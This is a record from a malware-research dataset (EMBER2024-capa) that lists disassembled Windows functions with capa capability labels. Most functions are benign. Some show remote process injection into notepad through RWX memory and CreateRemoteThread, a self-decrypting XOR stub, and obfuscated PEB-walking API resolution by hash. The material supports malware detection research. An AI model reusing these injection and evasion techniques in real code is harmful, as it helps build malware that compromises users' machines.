joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100013290
Capabilities:
Accept command line arguments

Disassembly:
push rbx
push rdi
push rsi
push r12
push r13
push r14
lea rsp, [rsp - 0x128]
xor esi, esi
mov qword [0x1000853e0], 0
mov dword [rsp + 0x20], 0
lea rdx, [rsp + 0x24]
mov r8d, 0x104
xor ecx, ecx
call sub.kernel32.dll_GetModuleFileNameA
mov ebx, eax
and eax, eax
mov byte [rsp + rax + 0x24], 0
mov r8d, ebx
xor edx, edx
mov rcx, rsp
call fcn.100013470
movsxd rax, ebx
lea r8, [rax + 1]
mov rax, qword [0x1000853e0]
mov rdx, qword [rax]
lea rcx, [rsp + 0x24]
call fcn.1000033b0
call sub.kernel32.dll_GetCommandLineA
mov qword [0x100055380], rax
mov r14, rax
jmp 0x100013417
add r14, 1
movzx eax, byte [r14]
sub eax, 1
cmp eax, 0x20
jb 0x100013318
cmp byte [r14], 0
je 0x100013421
nop
xor dil, dil
mov r12, r14
xor ebx, ebx
jmp 0x100013380
mov al, byte [r14]
cmp al, 1
jb 0x100013378
sub al, 0x20
jbe 0x100013354
sub al, 2
je 0x100013360
jmp 0x100013378
test dil, dil
je 0x100013386
add ebx, 1
jmp 0x10001337c
cmp byte [r14 + 1], 0x22
je 0x100013370
test dil, dil
sete dil
jmp 0x10001337c
add r14, 1
jmp 0x10001337c
add ebx, 1
nop
add r14, 1
cmp byte [r14], 0
jne 0x100013340
test esi, esi
je 0x100013414
mov r8d, ebx
mov edx, esi
mov rcx, rsp
call fcn.100013470
xor dil, dil
mov r14, r12
mov rdx, qword [0x1000853e0]
movsxd rax, esi
mov r13, qword [rdx + rax*8]
jmp 0x100013408
mov al, byte [r14]
cmp al, 1
jb 0x1000133f8
sub al, 0x20
jbe 0x1000133cc
sub al, 2
je 0x1000133e0
jmp 0x1000133f8
test dil, dil
je 0x10001340e
mov al, byte [r14]
mov byte [r13], al
add r13, 1
jmp 0x100013404
cmp byte [r14 + 1], 0x22
je 0x1000133f0
test dil, dil
sete dil
jmp 0x100013404
add r14, 1
jmp 0x100013404
mov al, byte [r14]
mov byte [r13], al
add r13, 1
nop
add r14, 1
cmp byte [r14], 0
jne 0x1000133b8
mov byte [r13], 0
nop
add esi, 1
cmp byte [r14], 0
jne 0x10001331c
mov dword [0x1000853d0], esi
movsxd rax, esi
lea rdx, [rax + 1]
shl rdx, 3
lea rcx, [0x1000853e0]
call fcn.100010560
mov rax, qword [0x1000853e0]
movsxd rsi, esi
mov qword [rax + rsi*8], 0
nop
lea rsp, [rsp + 0x128]
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
ret
Function at 0x10003b360
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x2b0]
mov qword [rbp - 0x290], rbx
mov qword [rbp - 0x288], rdi
mov qword [rbp - 0x280], rsi
mov qword [rbp - 8], rcx
mov byte [rbp - 0x10], dl
mov bl, r8b
lea rdx, [0x1000699e0]
lea rcx, [rbp - 0x278]
call fcn.10000dc90
nop
mov rcx, qword [rbp - 8]
test rcx, rcx
jne 0x10003b3af
lea rcx, [0x100085490]
call sub.kernel32.dll_GetFileAttributesW
mov esi, eax
cmp esi, 0xffffffff
jne 0x10003b3f2
call sub.kernel32.dll_GetLastError
cmp eax, 0xa1
jbe 0x10003b3cd
clc
jmp 0x10003b3d4
bt dword [0x100068d08], eax
jb 0x10003b3ea
mov rcx, rbp
call fcn.10003b4a0
test al, al
je 0x10003b3ea
mov dil, 1
jmp 0x10003b470
xor dil, dil
jmp 0x10003b470
mov eax, esi
and eax, 0x10
movzx ecx, byte [rbp - 0x10]
lea rdx, [0x100057180]
cmp eax, dword [rdx + rcx*4]
sete dil
and bl, dil
je 0x10003b470
and esi, 0x400
je 0x10003b470
lea rbx, [rbp - 0x278]
lea rdx, [0x1000699e0]
mov rcx, rbx
call fcn.10000dd70
mov rdx, rbx
mov rcx, qword [rbp - 8]
xor r8b, r8b
call fcn.10003af90
test eax, eax
je 0x10003b44c
sub eax, 1
je 0x10003b464
jmp 0x10003b46c
mov dl, byte [rbp - 0x10]
mov rcx, qword [rbp - 0x278]
xor r8b, r8b
call fcn.10003b360
mov dil, al
jmp 0x10003b470
mov dil, 1
jmp 0x10003b470
xor dil, dil
nop
nop
mov rcx, rbp
call fcn.10003b330
mov al, dil
mov rbx, qword [rbp - 0x290]
mov rdi, qword [rbp - 0x288]
mov rsi, qword [rbp - 0x280]
lea rsp, [rbp]
pop rbp
ret

Function at 0x10003b600
Capabilities:
Get geographical location

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x50]
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rdi
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], r12
mov qword [rbp - 0x10], r13
mov rsi, rcx
mov edi, edx
mov r12d, r8d
mov r13, r9
mov qword [rbp - 8], 0
nop
mov edx, r12d
mov ecx, edi
xor r9d, r9d
xor r8, r8
call sub.kernel32.dll_GetLocaleInfoW
mov ebx, eax
test ebx, ebx
jle 0x10003b681
movsxd rdx, ebx
sub rdx, 1
lea rcx, [rbp - 8]
call fcn.10000a860
cmp ebx, 1
jle 0x10003b670
mov r8, qword [rbp - 8]
mov r9d, ebx
mov edx, r12d
mov ecx, edi
call sub.kernel32.dll_GetLocaleInfoW
mov ebx, eax
nop
mov rcx, rsi
mov rdx, qword [rbp - 8]
xor r8d, r8d
call fcn.10000a0b0
jmp 0x10003b68c
mov rcx, rsi
mov rdx, r13
call fcn.100007b90
nop
mov rcx, rbp
call fcn.10003b5e0
mov rbx, qword [rbp - 0x30]
mov rdi, qword [rbp - 0x28]
mov rsi, qword [rbp - 0x20]
mov r12, qword [rbp - 0x18]
mov r13, qword [rbp - 0x10]
lea rsp, [rbp]
pop rbp
ret
Function at 0x10003bb50
Capabilities:
Get geographical location

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x60]
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], 0
nop
xor ebx, ebx
nop dword [rax]
add ebx, 1
mov eax, ebx
lea rdx, [0x100086ee0]
lea rcx, [rdx + rax*8 - 8]
xor edx, edx
call fcn.100007b90
mov eax, ebx
lea rdx, [0x100086f20]
mov dword [rdx + rax*4 - 4], 0xffffffff
cmp ebx, 7
jl 0x10003bb70
call sub.kernel32.dll_GetThreadLocale
mov esi, eax
lea r8, [rbp - 0xc]
mov ecx, esi
mov r9d, 0xb
mov edx, 0x100b
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x10003bc24
nop
mov byte [rsp + 0x20], 1
lea rdx, [rbp - 0xc]
xor r9d, r9d
mov r8d, 0xa
lea rcx, [rbp - 0x18]
call fcn.1000086b0
mov rcx, qword [rbp - 0x18]
mov edx, 1
call fcn.1000310d0
mov ebx, eax
sub eax, 3
cmp eax, 3
jae 0x10003bc24
lea rcx, [0x10003b9f0]
mov r8d, ebx
mov edx, esi
mov r9d, 4
call sub.kernel32.dll_EnumCalendarInfoA
lea rcx, [0x10003baa0]
mov r8d, ebx
mov edx, esi
mov r9d, 3
call sub.kernel32.dll_EnumCalendarInfoA
nop dword [rax]
nop
mov rcx, rbp
call fcn.10003bb30
mov rbx, qword [rbp - 0x28]
mov rsi, qword [rbp - 0x20]
lea rsp, [rbp]
pop rbp
ret

Function at 0x10003c2e0
Capabilities:
Query environment variable

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x70]
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], rdi
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], r13
mov rbx, rcx
mov qword [rbp - 8], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
nop
lea rcx, [rbp - 0x18]
call fcn.100030a40
mov rdx, qword [rbp - 0x18]
lea rcx, [rbp - 8]
call fcn.100007b90
lea rcx, [rbp - 8]
mov r8b, 1
mov edx, 1
call fcn.1000093f0
mov rcx, rbx
xor edx, edx
call fcn.100007b90
call sub.kernel32.dll_GetEnvironmentStringsA
mov rsi, rax
mov rdi, rsi
jmp 0x10003c425
mov rdx, rdi
lea rcx, [rbp - 0x10]
xor r8d, r8d
call fcn.100008600
mov rax, qword [rbp - 0x10]
test rax, rax
je 0x10003c38c
mov rax, qword [rax - 8]
mov r13d, eax
lea rcx, [rbp - 0x10]
xor r8b, r8b
mov edx, 1
call fcn.1000093f0
mov rdx, qword [rbp - 0x10]
mov r8d, 1
mov ecx, 0x3d
call fcn.100008cc0
mov r12d, eax
movsxd r9, eax
sub r9, 1
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, [rbp - 0x28]
call fcn.100008b50
mov rdx, qword [rbp - 0x28]
lea rcx, [rbp - 0x20]
call fcn.100030a40
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rbp - 8]
call fcn.100008870
test rax, rax
jne 0x10003c418
mov r9, qword [rbp - 0x10]
test r9, r9
je 0x10003c3fd
mov r9, qword [r9 - 8]
movsxd rax, r12d
sub r9, rax
movsxd rax, r12d
lea r8, [rax + 1]
mov rcx, rbx
mov rdx, qword [rbp - 0x10]
call fcn.100008b50
jmp 0x10003c42e
movsxd rax, r13d
add rax, rdi
add rax, 1
mov rdi, rax
cmp byte [rdi], 0
jne 0x10003c370
mov rcx, rsi
call sub.kernel32.dll_FreeEnvironmentStringsA
nop
mov rcx, rbp
call fcn.10003c2a0
mov rbx, qword [rbp - 0x50]
mov rdi, qword [rbp - 0x48]
mov rsi, qword [rbp - 0x40]
mov r12, qword [rbp - 0x38]
mov r13, qword [rbp - 0x30]
lea rsp, [rbp]
pop rbp
ret
Function at 0x10003c4a0
Capabilities:
Check os version

Disassembly:
lea rsp, [rsp - 0xb8]
mov qword [0x100086f60], 0
mov dword [rsp + 0x20], 0x94
lea rcx, [rsp + 0x20]
call sub.kernel32.dll_GetVersionExA
mov eax, dword [rsp + 0x30]
mov dword [0x100086da0], eax
mov eax, dword [rsp + 0x24]
mov dword [0x100086db0], eax
mov eax, dword [rsp + 0x28]
mov dword [0x100086dc0], eax
mov eax, dword [rsp + 0x2c]
mov dword [0x100086dd0], eax
lea rdx, [0x100086de1]
lea rcx, [rsp + 0x34]
mov r8d, pe_nt_image_headers64
call fcn.1000033b0
lea rcx, [rsp + 0x34]
call fcn.1000043a0
mov byte [0x100086de0], al
lea rcx, str.kernel32
call sub.kernel32.dll_GetModuleHandleA
mov qword [0x100086f70], rax
test rax, rax
je 0x10003c548
mov rcx, qword [0x100086f70]
lea rdx, str.GetDiskFreeSpaceExA
call sub.kernel32.dll_GetProcAddress
mov qword [0x100086f60], rax
nop
cmp dword [0x100086db0], 6
jae 0x10003c55c
mov dword [0x1000563f0], 0
nop
cmp dword [0x100086db0], 6
jb 0x10003c578
cmp dword [0x100086dc0], 1
jb 0x10003c578
mov dword [0x100056400], 2
nop
lea rsp, [rsp + 0xb8]
ret

Function at 0x1000506d0
Capabilities:
Connect socket

Disassembly:
lea rsp, [rsp - 0x28]
movsxd rcx, ecx
call sub.ws2_32.dll_connect
nop
lea rsp, [rsp + 0x28]
ret

Function at 0x100051cf0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
xor eax, eax
lea rdx, [rcx + 1]
movzx r8d, byte [rcx]
add r8d, 1
and r8d, 0xff
add rcx, r8
jmp 0x100051d2b
mov r8d, eax
shl r8d, 5
mov r9d, eax
sub r8d, r9d
movzx r9d, byte [rdx]
xor r8d, r9d
mov eax, r8d
add rdx, 1
cmp rcx, rdx
ja 0x100051d10
ret
Function at 0x140005690
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r14
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor r14d, r14d
xor eax, eax
lock cmpxchg qword [0x1400085e0], rbx
je 0x1400056e2
cmp rax, rbx
jne 0x1400056d5
mov ebx, 1
mov r14d, ebx
jmp 0x1400056e7
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x1400056b9
mov ebx, 1
mov eax, dword [0x1400085e8]
cmp eax, ebx
jne 0x1400056fd
mov ecx, 0x1f
call sub.msvcrt.dll__amsg_exit
jmp 0x140005766
mov eax, dword [0x1400085e8]
test eax, eax
jne 0x140005760
mov dword [0x1400085e8], ebx
lea r12, [0x1400062e0]
lea rdi, [0x1400062c8]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
cmp rdi, r12
jae 0x140005752
test eax, eax
jne 0x140005756
mov rsi, qword [rdi]
test rsi, rsi
je 0x140005747
mov rcx, rsi
mov rax, qword [0x1400062a0]
call rax
call rsi
mov dword [rsp + 0x20], eax
add rdi, 8
mov qword [rsp + 0x28], rdi
jmp 0x140005724
test eax, eax
je 0x140005766
mov eax, 0xff
jmp 0x140005847
mov dword [0x140008024], ebx
mov eax, dword [0x1400085e8]
cmp eax, ebx
jne 0x14000578d
lea rdx, [0x1400062c0]
lea rcx, [0x1400062b0]
call sub.msvcrt.dll__initterm
mov dword [0x1400085e8], 2
test r14d, r14d
jne 0x14000579b
xor eax, eax
xchg qword [0x1400085e0], rax
cmp qword [0x140008600], 0
je 0x1400057d3
lea rcx, [0x140008600]
call fcn.140005ab0
test eax, eax
je 0x1400057d3
mov rbx, qword [0x140008600]
mov rcx, rbx
mov rax, qword [0x1400062a0]
call rax
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call rbx
mov r8, qword [0x140008038]
mov rdx, qword [0x140008030]
mov ecx, dword [0x140008028]
call fcn.140001008
mov dword [0x140008020], eax
cmp dword [0x140008040], 0
jne 0x140005803
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x140008024], 0
jne 0x140005818
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x140008020]
jmp 0x140005847
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov r12, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
sub rsp, 0x28
call fcn.140162000
add rsp, 0x28
jmp 0x140005690

Function at 0x1400059ac
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x1400059f8
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400059f0
cmp dword [rcx + 0x3c], edx
jl 0x1400059f0
cmp dword [rcx + 0x3c], 0x10000000
jae 0x1400059f0
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x1400059f8
mov rax, rdx
add rsp, 0x18
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x200
mov rax, qword [0x140003008]
xor rax, rsp
mov qword [rsp + 0x1f0], rax
mov rcx, qword [rdx + 8]
mov rdi, rdx
test rcx, rcx
jne 0x140001155
lea r8d, [rcx + 0x64]
xor edx, edx
lea rcx, [rsp + 0x74]
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov dword [rsp + 0x70], 0x68
xor ebx, ebx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
lea rdx, str.notepad
mov qword [rsp + 0x60], rax
xor r9d, r9d
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x48], rax
xor ecx, ecx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x50]
movabs rdx, 0x480000000000
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [rsp + 0x50]
lea r8, [0x140003040]
mov r9d, 0x1ff
mov qword [rsp + 0x20], rbx
movabs rdx, 0x480000000000
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor edx, edx
lea rcx, [rsp + 0xe0]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
mov r9d, dword [rsp + 0x60]
lea rdx, str._s__d
mov r8, qword [rdi]
lea rcx, [rsp + 0xe0]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0xe0]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x140001193
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor ebx, ebx
movabs r9, 0x480000000000
mov qword [rsp + 0x30], rbx
xor r8d, r8d
mov dword [rsp + 0x28], ebx
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
xor eax, eax
mov rcx, qword [rsp + 0x1f0]
xor rcx, rsp
call fcn.1400011d0
mov rbx, qword [rsp + 0x210]
add rsp, 0x200
pop rdi
ret
Function at 0x141068418
Capabilities:
Encode data using xor

Disassembly:
jmp 0x141068422
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x14106844b
pop rbp
sub rbp, 0x33
sub rbp, 0x1068418
sub rsp, 0x20
jmp 0x14106846a
mov rax, 0x1068418
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffff8cdf74d4
xor byte [rax], dl
inc rax
dec rcx
jne 0x141068489
jmp 0x1410684a0
pushfq
pop rbp
cmp eax, 0xd4e85d5f
invalid
Function at 0x7ffef24011f4
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
push rdi
mov eax, 0x1038
call fcn.7ffef24011b0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1020], rax
xor ebx, ebx
cmp dword [0x7ffef2442008], ebx
jne 0x7ffef241114b
mov rcx, qword [rsp + 0x1020]
xor rcx, rsp
call int.7ffef2401000
add rsp, 0x1038
pop rdi
pop rbx
ret
mov r8, rcx
mov edi, 0x7ff
lea r9, [rsp + 0x1058]
lea rcx, [rsp + 0x20]
mov rdx, rdi
call qword [sym.imp.msvcrt.dll__vsnwprintf]
cmp eax, ebx
jl 0x7ffef2411176
cdqe
cmp rax, rdi
ja 0x7ffef2411176
jne 0x7ffef241117e
mov word [rsp + 0x101e], bx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
nop
jmp 0x7ffef2401236

Function at 0x7ffef24058a4
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rdi
sub rsp, 0x30
mov rdi, rcx
mov dword [rcx + 0x58], edx
lea rcx, str.CStateThread::Initialize__
call fcn.7ffef24011f4
mov edx, dword [rdi + 0x24]
cmp edx, 4
jne 0x7ffef241307f
xor eax, eax
mov ebp, 0x80070000
xchg dword [rdi + 0x24], eax
mov rcx, qword [rdi + 0x10]
and dword [rdi + 0x20], 0
test rcx, rcx
jne 0x7ffef24130b9
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rdi + 0x10], rax
test rax, rax
je 0x7ffef24130a4
mov rcx, qword [rdi + 0x18]
test rcx, rcx
jne 0x7ffef24130c7
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rdi + 0x18], rax
test rax, rax
je 0x7ffef24130c5
xor ebx, ebx
test ebx, ebx
js 0x7ffef2413090
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r8, [0x7ffef2402080]
mov r9, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rdi + 8], rax
test rax, rax
je 0x7ffef24130d3
xor ebx, ebx
test ebx, ebx
js 0x7ffef2413090
mov rcx, qword [rdi + 0x18]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
movzx ebx, ax
or ebx, ebp
test eax, eax
cmovle ebx, eax
test ebx, ebx
js 0x7ffef2413090
mov ebx, dword [rdi + 0x20]
jmp 0x7ffef2405993
mov rbp, qword [rsp + 0x48]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
lea rcx, str.CStateThread::Initialize___called_in_wrong_state___d_
call fcn.7ffef24011f4
mov ebx, 0x8004d011
lea rcx, str.CStateThread::Initialize___failed_with_0x_08X
mov edx, ebx
call fcn.7ffef24011f4
nop
jmp 0x7ffef2405993
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ebx, ax
or ebx, ebp
test eax, eax
cmovle ebx, eax
jmp 0x7ffef2405931
call qword [sym.imp.KERNEL32.dll_ResetEvent]
nop
jmp 0x7ffef2405907
jmp 0x7ffef24130a4
call qword [sym.imp.KERNEL32.dll_ResetEvent]
nop
jmp 0x7ffef240592f
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ebx, ax
or ebx, ebp
test eax, eax
cmovle ebx, eax
jmp 0x7ffef2405967
Function at 0x7ffef24063e4
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
lea rax, [0x7ffef243a128]
xor ebx, ebx
mov rbp, r8
mov qword [rsp + 0x38], rax
mov edi, edx
mov rsi, rcx
mov rax, qword [rsp + 0x38]
cmp edx, 1
jne 0x7ffef240644a
and qword [r11 - 0x28], rbx
lea rax, [r11 - 0x28]
mov qword [0x7ffef2442270], rcx
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionMedia_CenterServiceITV
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [r11 - 0x38], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x7ffef24110e8
mov r8, rbp
mov edx, edi
mov rcx, rsi
call fcn.7ffef2406478
mov edi, eax
test rbx, rbx
jne 0x7ffef241113c
mov eax, edi
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
mov rbx, qword [rsp + 0x30]
lea rax, [rsp + 0x68]
lea r9, [rsp + 0x78]
mov qword [rsp + 0x28], rax
lea rax, [0x7ffef2442008]
lea rdx, str.Trace
xor r8d, r8d
mov rcx, rbx
mov dword [rsp + 0x68], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test rbx, rbx
je 0x7ffef240644a
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ebx, ebx
jmp 0x7ffef240644a
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
jmp 0x7ffef2406462

Function at 0x7ffef2407d14
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x40
mov rsi, qword [rsp + 0x70]
lea rax, str.iTV_Data_In
xor edx, edx
mov qword [r11 - 0x20], rax
mov rbx, r8
mov rdi, rcx
mov qword [r11 - 0x28], rsi
call fcn.7ffef2407770
lea rax, [0x7ffef24388e0]
mov qword [rdi + 0x18], rax
lea rax, [0x7ffef243a888]
lea r11, [0x7ffef24383e0]
mov qword [rdi + 0x20], rax
lea rax, [0x7ffef24385f0]
lea rcx, [rdi + 0x138]
mov qword [rdi], r11
mov qword [rdi + 0x130], rbx
mov qword [rdi + 0xd8], rax
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
and dword [rdi + 0x160], 0
cmp qword [rdi + 0x40], 0
je 0x7ffef24111c6
and qword [rsp + 0x38], 0
lea rax, [rsp + 0x38]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionMedia_CenterServiceITV
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x7ffef24111d1
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x68]
mov rax, rdi
add rsp, 0x40
pop rdi
ret
mov dword [rsi], 0x8007000e
jmp 0x7ffef2407d99
and dword [rsp + 0x50], eax
mov rbx, qword [rsp + 0x38]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
lea r9, [rsp + 0x30]
lea rdx, str.DataTestMode
xor r8d, r8d
mov rcx, rbx
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x60], 4
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x7ffef2411227
cmp dword [rsp + 0x30], 4
jne 0x7ffef2411227
test eax, eax
jne 0x7ffef2411227
mov eax, dword [rsp + 0x50]
mov dword [rdi + 0x160], eax
test rbx, rbx
je 0x7ffef2407dce
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
jmp 0x7ffef2407dce
Function at 0x7ffef2408944
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
jmp 0x7ffef2409cc4
jne 0x7ffef240a25d
mov rdx, qword [r10 + 0x30]
btr ecx, 4
movzx r11d, bx
movsxd rax, dword [rdx + 0x3c]
shl r10w, cl
shrd r10d, edi, 0x44
adc sil, 0x4a
mov ecx, dword [rax + rdx + 0x88]
neg dil
jmp 0x7ffef240a37a
xor eax, r9d
imul r9d, eax, 0x5bd1e995
movsx ax, r11b
mov eax, r9d
cmp r8b, r12b
stc
shr eax, 0xf
cmp r14d, esp
clc
xor r9d, eax
mov al, byte [rcx]
test ch, 0x3a
test al, al
jmp 0x7ffef2409aaa
call rsi
lea rax, [rdi + 0x6d44]
not ecx
mov rcx, 0x11dc05da
lea rcx, [rbp + 0x48]
jmp 0x7ffef2409eab
jmp 0x7ffef2408aff
jne 0x7ffef2408aec
xor ebx, ebx
jmp 0x7ffef240a2d2
lock dec dword [rbp + 0x40]
test r10b, 0xc5
sub rax, r12
jmp 0x7ffef2408adf
add rdi, r12
cmp dword [rdi], eax
jmp 0x7ffef2409e30
ret
jne 0x7ffef2409ca1
cmp r9d, 0x64098594
je 0x7ffef240a36a
add r11w, r12w
add r10, 4
sbb ah, 0xca
movzx rax, r10w
movzx eax, r11w
stc
test ah, 0x5c
cmc
add r8, 2
stc
cmp eax, esi
jmp 0x7ffef240a348
and eax, 3
stc
mov al, byte [rbp + rax + 0x48]
clc
cmp ax, r14w
test r12, r10
xor byte [rdx], al
add rdx, r12
test r11b, 0x4f
test edx, esi
sub r14, r12
jne 0x7ffef2409e99
lea rax, [rbp + 0x50]
bt r9d, 0x57
sal rdx, 0xb2
test r14w, dx
mov qword [rbp - 8], r15
test r10d, r13d
adc r9w, 0x153d
lea r9d, [r14 + 0x20]
not r8b
mov qword [rsp + 0x20], rax
bsr r8w, r13w
bswap dx
lea r8, [rbp + 0x58]
movzx dx, sil
not dh
or rcx, 0xffffffffffffffff
cqo
lea rdx, [rbp - 8]
jmp 0x7ffef2408abf
je 0x7ffef2409abd
movsx eax, al
cmp si, 0x6d6
cmc
add rcx, r12
jmp 0x7ffef2408a93
xor r8d, eax
movsx rax, r10w
cdqe
movzx eax, word [r9]
jmp 0x7ffef2409fea
push rbp
push rbx
push rsi
btc ebp, 0x61
movsx eax, sp
push rdi
mov ax, 0x3689
rcl ah, 0x88
push r12
movzx bp, r12b
push r14
lahf
push r15
cmp r11b, 0xf0
or ax, ax
mov rbp, rsp
cmp spl, 0x3c
sub rsp, 0x40
cmovge r12, rsp
nop
mov eax, 0x7fffffff
not r12d
mov r12b, 0x30
movsxd r12, ebp
mov r12d, 1
jmp 0x7ffef240a106
jne 0x7ffef240a290
cmp r8d, 0x66b65ce9
jmp 0x7ffef2409e1e
je 0x7ffef2408a63
mov rcx, qword [rcx]
cmc
cmp rcx, rdx
jmp 0x7ffef2408a5d
jne 0x7ffef2408afc
lea rax, [rbp + 0x50]
shrd r15w, si, 0xc9
shr dh, 2
mov r14d, 0x2660f
bsf edx, r14d
xor r8b, 0x40
lea r15, [rdi + 4]
mov qword [rbp + 0x58], r14
mov r9d, 4
clc
bsf r8d, r15d
movzx r8, r13w
mov qword [rbp - 0x10], r15
shl dh, 0xa5
movzx r8w, r14b
lea r8, [rbp + 0x58]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x10]
cmc
or rcx, 0xffffffffffffffff
call rsi
mov rdx, r15
bt rax, r15
